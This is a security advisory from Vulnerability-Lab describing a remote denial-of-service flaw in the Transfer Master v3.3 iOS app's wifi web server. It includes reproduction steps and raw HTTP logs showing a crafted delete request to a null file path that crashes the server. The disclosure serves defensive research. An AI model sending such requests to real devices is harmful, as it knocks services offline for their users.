Transfer Master v3.3 iOS - Denial of Service Vulnerability

Document Title:
===============
Transfer Master v3.3 iOS - Denial of Service Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2224


Release Date:
=============
2020-04-27


Vulnerability Laboratory ID (VL-ID):
====================================
2224


Common Vulnerability Scoring System:
====================================
4.2


Vulnerability Class:
====================
Denial of Service


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Transfer Master - Transfer photo,video,file,contact and File manager.

(Copy of the Homepage: https://apps.apple.com/us/app/transfer-master-transfer-photo-video-file-contact/id590196698 )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a remote denial of service vulnerability in the Transfer Master v3.3 mobile ios web-application.


Vulnerability Disclosure Timeline:
==================================
2020-04-28: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Pre Auth (No Privileges or Session)


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
A remote denial of service vulnerability has been discovered in the official Transfer Master v3.3 mobile ios web-application.

The denial of service vulnerability is located in the delete post method request on the files path. Remote attackers can 
manipulate the ui by sending special crafted requests to cause a null pointer error that crashs the wifi web-server.
The attacker changes the file delete request to a null path which results in a null pointer that crashs the application.

Successful exploitation of the denial of service vulnerability results in a wifi web-server ui crash and freeze.


Proof of Concept (PoC):
=======================
The denial of service vulnerability can be exploited by remote attackers with wifi network access without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Install and start the local ios app
2. Open the wifi share option to start the web-server
3. Move to the front ui
4. Tamper the https session and reply by deleting the files path with (null) as empty quote
5. The web-server crashs and the wifi ui becomes unavailable by a blank screen that responds with not found
Note: Service still alive but finally unavailable cause of a null pointer issue
6. Successful reproduce of the denial of service vulnerability!


--- PoC Session Logs (POST/GET) ---
http://localhost:8181/files//(null)
Host: localhost:8181
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
content-type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 28
Connection: keep-alive
_method=delete&commit=Delete
-
POST: HTTP/1.1 302 Found
Location: /
Content-Type: text/html; charset=utf-8
Content-Length: 67
-
http://localhost:8181/
Host: localhost:8181
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8181/
Connection: keep-alive
- (Game Over)
GET: HTTP/1.1 404 Not Found (Unavailable)
Accept-Ranges: bytes
Content-Length: 0


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


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=========================
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